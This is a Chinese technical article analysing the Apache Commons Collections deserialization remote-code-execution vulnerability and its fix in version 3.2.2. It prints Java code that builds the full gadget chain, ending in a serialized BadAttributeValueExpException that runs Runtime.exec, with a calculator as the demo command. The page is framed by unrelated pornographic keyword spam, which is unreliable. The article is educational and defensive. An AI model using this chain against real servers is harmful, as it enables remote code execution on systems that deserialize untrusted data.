成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

原來不只是fastjson,這個你每天都在用的類庫也被爆過反序列化漏洞!

安全 應用安全
在《fastjson到底做錯了什么?為什么會被頻繁爆出漏洞?》文章中,我從技術角度分析過為什么fastjson會被頻繁爆出一些安全漏洞,然后有人在評論區發表"說到底就是fastjson爛…"等言論,一般遇到這種評論我都是不想理的。

 [[333788]]

在《fastjson到底做錯了什么?為什么會被頻繁爆出漏洞?》文章中,我從技術角度分析過為什么fastjson會被頻繁爆出一些安全漏洞,然后有人在評論區發表"說到底就是fastjson爛…"等言論,一般遇到這種評論我都是不想理的。

但是事后想想,這個事情還是要單獨說一下,因為這種想法很危險。

一旦這位讀者有一天當上了領導,那么如果他負責的項目發生了漏洞,他還是站出來說"都怪XXX代碼寫的爛…",這其實是非常可怕的。

工作久了的話,就會慢慢有種感覺:代碼都是人寫的,是人寫的代碼就可能存在漏洞,這個是永遠都無法避免的,任何牛X的程序員都不可能寫出完全沒有bug的代碼!

其實關于序列化的安全性問題,無論是Java原生的序列化技術還是很多其他的開源序列化工具,都曾經發生過。

序列化的安全性,一直都是比較大的一個話題,我無意為fastjson辯駁,但是出問題之后直接噴代碼寫的爛,其實是有點不負責任的。

Apache-Commons-Collections這個框架,相信每一個Java程序員都不陌生,這是一個非常著名的開源框架。

但是,他其實也曾經被爆出過序列化安全漏洞,而漏洞的表現和fastjson一樣,都是可以被遠程執行命令。

背景

Apache Commons是Apache軟件基金會的項目,Commons的目的是提供可重用的、解決各種實際的通用問題且開源的Java代碼。

Commons Collections包為Java標準的Collections API提供了相當好的補充。在此基礎上對其常用的數據結構操作進行了很好的封裝、抽象和補充。讓我們在開發應用程序的過程中,既保證了性能,同時也能大大簡化代碼。

Commons Collections的最新版是4.4,但是使用比較廣泛的還是3.x的版本。其實,在3.2.1以下版本中,存在一個比較大的安全漏洞,可以被利用來進行遠程命令執行。

這個漏洞在2015年第一次被披露出來,但是業內一直稱稱這個漏洞為"2015年最被低估的漏洞"。

因為這個類庫的使用實在是太廣泛了,首當其中的就是很多Java Web Server,這個漏洞在當時橫掃了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。

之后,Gabriel Lawrence和Chris Frohoff兩位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection實現任意代碼執行。

問題復現

這個問題主要會發生在Apache Commons Collections的3.2.1以下版本,本次使用3.1版本進行測試,JDK版本為Java 8。

利用Transformer攻擊

Commons Collections中提供了一個Transformer接口,主要是可以用來進行類型轉換的,這個接口有一個實現類是和我們今天要介紹的漏洞有關的,那就是InvokerTransformer。

InvokerTransformer提供了一個transform方法,該方法核心代碼只有3行,主要作用就是通過反射對傳入的對象進行實例化,然后執行其iMethodName方法。

利用Transformer攻擊

Commons Collections中提供了一個Transformer接口,主要是可以用來進行類型轉換的,這個接口有一個實現類是和我們今天要介紹的漏洞有關的,那就是InvokerTransformer。InvokerTransformer提供了一個transform方法,該方法核心代碼只有3行,主要作用就是通過反射對傳入的對象進行實例化,然后執行其iMethodName方法。

而需要調用的iMethodName和需要使用的參數iArgs其實都是InvokerTransformer類在實例化時設定進來的,這個類的構造函數如下:


也就是說,使用這個類,理論上可以執行任何方法。那么,我們就可以利用這個類在Java中執行外部命令。

我們知道,想要在Java中執行外部命令,需要使用Runtime.getRuntime().exec(cmd)的形式,那么,我們就想辦法通過以上工具類實現這個功能。

首先,通過InvokerTransformer的構造函數設置好我們要執行的方法以及參數:

  1. Transformer transformer = new InvokerTransformer("exec"
  2.  
  3.         new Class[] {String.class}, 
  4.  
  5.         new Object[] {"open /Applications/Calculator.app"}); 

通過,構造函數,我們設定方法名為exec,執行的命令為open /Applications/Calculator.app,即打開mac電腦上面的計算器(windows下命令:C:\\Windows\\System32\\calc.exe)。

然后,通過InvokerTransformer實現對Runtime類的實例化:

  1. transformer.transform(Runtime.getRuntime()); 

運行程序后,會執行外部命令,打開電腦上的計算機程序:

至此,我們知道可以利用InvokerTransformer來調用外部命令了,那是不是只需要把一個我們自定義的InvokerTransformer序列化成字符串,然后再反序列化,接口實現遠程命令執行:


先將transformer對象序列化到文件中,再從文件中讀取出來,并且執行其transform方法,就實現了攻擊。

 

你以為這就完了?

但是,如果事情只有這么簡單的話,那這個漏洞應該早就被發現了。想要真的實現攻擊,那么還有幾件事要做。

因為,newTransformer.transform(Runtime.getRuntime());這樣的代碼,不會有人真的在代碼中寫的。

如果沒有了這行代碼,還能實現執行外部命令么?

這就要利用到Commons Collections中提供了另一個工具那就是ChainedTransformer,這個類是Transformer的實現類。

 

ChainedTransformer類提供了一個transform方法,他的功能遍歷他的iTransformers數組,然后依次調用其transform方法,并且每次都返回一個對象,并且這個對象可以作為下一次調用的參數。

那么,我們可以利用這個特性,來自己實現和transformer.transform(Runtime.getRuntime());同樣的功能:

  1.  Transformer[] transformers = new Transformer[] { 
  2.  
  3.     //通過內置的ConstantTransformer來獲取Runtime類 
  4.  
  5.     new ConstantTransformer(Runtime.class), 
  6.  
  7.     //反射調用getMethod方法,然后getMethod方法再反射調用getRuntime方法,返回Runtime.getRuntime()方法 
  8.  
  9.     new InvokerTransformer("getMethod"
  10.  
  11.         new Class[] {String.class, Class[].class }, 
  12.  
  13.         new Object[] {"getRuntime", new Class[0] }), 
  14.  
  15.     //反射調用invoke方法,然后反射執行Runtime.getRuntime()方法,返回Runtime實例化對象 
  16.  
  17.     new InvokerTransformer("invoke"
  18.  
  19.         new Class[] {Object.class, Object[].class }, 
  20.  
  21.         new Object[] {null, new Object[0] }), 
  22.  
  23.     //反射調用exec方法 
  24.  
  25.     new InvokerTransformer("exec"
  26.  
  27.         new Class[] {String.class }, 
  28.  
  29.         new Object[] {"open /Applications/Calculator.app"}) 
  30.  
  31. }; 
  32.  
  33.  
  34.  
  35. Transformer transformerChain = new ChainedTransformer(transformers); 

在拿到一個transformerChain之后,直接調用他的transform方法,傳入任何參數都可以,執行之后,也可以實現打開本地計算器程序的功能:

那么,結合序列化,現在的攻擊更加進了一步,不再需要一定要傳入newTransformer.transform(Runtime.getRuntime());這樣的代碼了,只要代碼中有transformer.transform()方法的調用即可,無論里面是什么參數:

 

攻擊者不會滿足于此

但是,一般也不會有程序員會在代碼中寫這樣的代碼。那么,攻擊手段就需要更進一步,真正做到"不需要程序員配合"。于是,攻擊者們發現了在Commons Collections中提供了一個LazyMap類,這個類的get會調用transform方法。(Commons Collections還真的是懂得黑客想什么呀。)

那么,現在的攻擊方向就是想辦法調用到LazyMap的get方法,并且把其中的factory設置成我們的序列化對象就行了。

順藤摸瓜,可以找到Commons Collections中的TiedMapEntry類的getValue方法會調用到LazyMap的get方法,而TiedMapEntry類的getValue又會被其中的toString()方法調用到。

  1. public String toString() { 
  2.  
  3.     return getKey() + "=" + getValue(); 
  4.  
  5.  
  6.  
  7.  
  8. public Object getValue() { 
  9.  
  10.     return map.get(key); 
  11.  

那么,現在的攻擊門檻就更低了一些,只要我們自己構造一個TiedMapEntry,并且將他進行序列化,這樣,只要有人拿到這個序列化之后的對象,調用他的toString方法的時候,就會自動觸發bug。

Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

我們知道,toString會在很多時候被隱式調用,如輸出的時候(System.out.println(ois.readObject());),代碼示例如下:

現在,黑客只需要把自己構造的TiedMapEntry的序列化后的內容上傳給應用程序,應用程序在反序列化之后,如果調用了toString就會被攻擊。

 

只要反序列化,就會被攻擊

那么,有沒有什么辦法,讓代碼只要對我們準備好的內容進行反序列化就會遭到攻擊呢?

倒還真的被發現了,只要滿足以下條件就行了:

那就是在某個類的readObject會調用到上面我們提到的LazyMap或者TiedMapEntry的相關方法就行了。因為Java反序列化的時候,會調用對象的readObject方法。

通過深入挖掘,黑客們找到了BadAttributeValueExpException、AnnotationInvocationHandler等類。這里拿BadAttributeValueExpException舉例

 

BadAttributeValueExpException類是Java中提供的一個異常類,他的readObject方法直接調用了toString方法:

那么,攻擊者只需要想辦法把TiedMapEntry的對象賦值給代碼中的valObj就行了。通過閱讀源碼,我們發現,只要給BadAttributeValueExpException類中的成員變量val設置成一個TiedMapEntry類型的對象就行了。這就簡單了,通過反射就能實現:

  1. Transformer transformerChain = new ChainedTransformer(transformers); 
  2.  
  3.  
  4.  
  5. Map innerMap = new HashMap(); 
  6.  
  7. Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 
  8.  
  9. TiedMapEntry entry = new TiedMapEntry(lazyMap, "key"); 
  10.  
  11.  
  12.  
  13. BadAttributeValueExpException poc = new BadAttributeValueExpException(null); 
  14.  
  15.  
  16.  
  17. // val是私有變量,所以利用下面方法進行賦值 
  18.  
  19. Field valfield = poc.getClass().getDeclaredField("val"); 
  20.  
  21. valfield.setAccessible(true); 
  22.  
  23. valfield.set(poc, entry); 

于是,這時候,攻擊就非常簡單了,只需要把BadAttributeValueExpException對象序列化成字符串,只要這個字符串內容被反序列化,那么就會被攻擊。

 

問題解決

以上,我們復現了這個Apache Commons Collections類庫帶來的一個和反序列化有關的遠程代碼執行漏洞。

通過這個漏洞的分析,我們可以發現,只要有一個地方代碼寫的不夠嚴謹,就可能會被攻擊者利用。

 

因為這個漏洞影響范圍很大,所以在被爆出來之后就被修復掉了,開發者只需要將Apache Commons Collections類庫升級到3.2.2版本,即可避免這個漏洞。

3.2.2版本對一些不安全的Java類的序列化支持增加了開關,默認為關閉狀態。涉及的類包括

  1. CloneTransformer 
  2.  
  3. ForClosure 
  4.  
  5. InstantiateFactory 
  6.  
  7. InstantiateTransformer 
  8.  
  9. InvokerTransformer 
  10.  
  11. PrototypeCloneFactory 
  12.  
  13. PrototypeSerializationFactory, 
  14.  
  15. WhileClosure 

如在InvokerTransformer類中,自己實現了和序列化有關的writeObject()和 readObject()方法:

在兩個方法中,進行了序列化安全的相關校驗,校驗實現代碼如下:

在序列化及反序列化過程中,會檢查對于一些不安全類的序列化支持是否是被禁用的,如果是禁用的,那么就會拋出UnsupportedOperationException,通過org.apache.commons.collections.enableUnsafeSerialization設置這個特性的開關。

 

將Apache Commons Collections升級到3.2.2以后,執行文中示例代碼,將報錯如下:

  1. Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources. 
  2.  
  3.     at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183) 
  4.  
  5.     at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155) 

后話

本文介紹了Apache Commons Collections的歷史版本中的一個反序列化漏洞。

如果你閱讀本文之后,能夠有以下思考,那么本文的目的就達到了:

1、代碼都是人寫的,有bug都是可以理解的

2、公共的基礎類庫,一定要重點考慮安全性問題

3、在使用公共類庫的時候,要時刻關注其安全情況,一旦有漏洞爆出,要馬上升級

 

4、安全領域深不見底,攻擊者總能抽絲剝繭,一點點bug都可能被利用

參考資料:

https://commons.apache.org/proper/commons-collections/release_3_2_2.html

https://p0sec.net/index.php/archives/121/

https://www.freebuf.com/vuls/175252.html

https://kingx.me/commons-collections-java-deserialization.html

 

責任編輯:武曉燕 來源: 51CTO專欄
相關推薦

2014-04-18 09:16:37

2015-11-24 10:05:07

私有云虛擬化負載遷移

2018-07-06 10:56:24

2016-09-21 00:15:27

2015-02-04 09:45:40

2017-03-25 21:13:38

JavaScript排序

2024-09-10 08:28:22

2021-10-20 07:18:50

Java 序列化漏洞

2018-11-12 13:53:07

組件化架構路由

2022-08-06 08:41:18

序列化反序列化Hessian

2011-04-28 20:21:44

和信創天終端管理虛擬終端管理系統

2010-08-05 09:29:08

jQuery

2011-06-01 15:05:02

序列化反序列化

2013-04-25 13:58:15

編程

2015-08-17 15:35:42

2018-03-13 15:00:22

智慧交通高鐵無人駕駛

2021-11-05 11:17:45

互聯網996大廠

2023-02-14 06:40:33

React HookReact

2018-03-19 10:20:23

Java序列化反序列化

2024-11-26 11:02:17

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 久久久久资源 | 免费艹逼视频 | 精品美女在线观看视频在线观看 | 日本不卡一区二区三区 | 欧美久久一区二区 | 国产成人精品一区二区三区在线 | 欧美在线视频网 | 国产精品不卡一区二区三区 | 一区二区三区精品在线视频 | 激情的网站| 成人高潮片免费视频欧美 | 欧美一区二区三区视频在线播放 | 精品国产欧美一区二区 | 欧美老妇交乱视频 | 久久国产精品视频 | 亚洲视频一区在线 | 欧美在线资源 | 99re在线视频精品 | 色综合99 | 久久久久99| 伊人看片 | 365夜爽爽欧美性午夜免费视频 | 欧美日韩成人一区二区 | 日韩中文字幕久久 | 亚洲精品一区在线观看 | 成人片免费看 | 四虎永久| 精品国产一区二区三区观看不卡 | 国产精品成人在线播放 | 日韩av中文 | 久久精品一区 | 在线观看视频一区二区三区 | 日韩精品成人av | 欧美专区在线 | 亚洲狠狠| 久久精品二区亚洲w码 | 亚洲欧美一区二区三区视频 | 久久精品99 | 日本aaa视频| 一区二区三区高清在线观看 | av黄色在线 |